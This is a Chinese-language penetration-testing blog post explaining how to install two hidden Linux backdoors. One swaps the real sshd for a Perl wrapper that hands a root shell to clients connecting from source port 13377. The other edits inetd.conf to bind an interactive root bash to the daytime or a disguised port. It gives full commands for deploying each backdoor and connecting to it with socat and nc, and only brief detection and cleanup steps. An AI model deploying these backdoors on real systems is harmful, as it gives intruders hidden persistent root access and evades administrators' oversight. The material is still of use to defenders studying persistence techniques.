前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >linux-wrapper跟inetd服务后门

linux-wrapper跟inetd服务后门

作者头像
drunk_kk
发布2021-03-23 15:28:23
1.3K0
发布2021-03-23 15:28:23
举报
文章被收录于专栏:渗透测试教程渗透测试教程

wrapper后门实践

先部署后门

代码语言:javascript
复制
cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart 
//或者 service sshd restart

在这里插入图片描述

这样后门就部署好了,我们来连接后门。运行socat STDIO TCP4:10.xx.xx.125:22,sourceport=13377

使用后门新建一个 drunk.txt 在这里插入图片描述

在这里插入图片描述

这个后门的优势是只有在连接的情况下,才会在进程中显示出来。

在这里插入图片描述

优点:

  1. 隐蔽性较强,无需要编译,使用于大部分环境中
  2. 在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆

缺点:

需要重启sshd进程

原理

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

更多

其中 4A是13377的小端模式,如果你想修改源端口,可以用python的struct标准库实现

代码语言:javascript
复制
Python 2.7.12 (default, Oct  5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> print repr(struct.pack('>I6',19526))
'\x00\x00LF'
>>> print repr(struct.pack('>I6',13377))
'\x00\x004A'

在这里插入图片描述

这里也简单啰嗦下/usr/bin 跟 /usr/sbin

/usr/bin:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

/usr/sbin:

放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等

检测

检查网络链接及文件

cat /usr/sbin/sshd

清除

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门

部署inetd服务后门

代码语言:javascript
复制
#修改/etc/inetd.conf
$vim /etc/inetd.conf

#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i

#开启inetd
$inetd

#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏

检测:查看配置文件即可

代码语言:javascript
复制
cat /etc/inetd.conf 

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透测试教程 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • wrapper后门实践
  • 原理
    • 更多
    • 检测
    • 清除
    • inetd服务后门
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档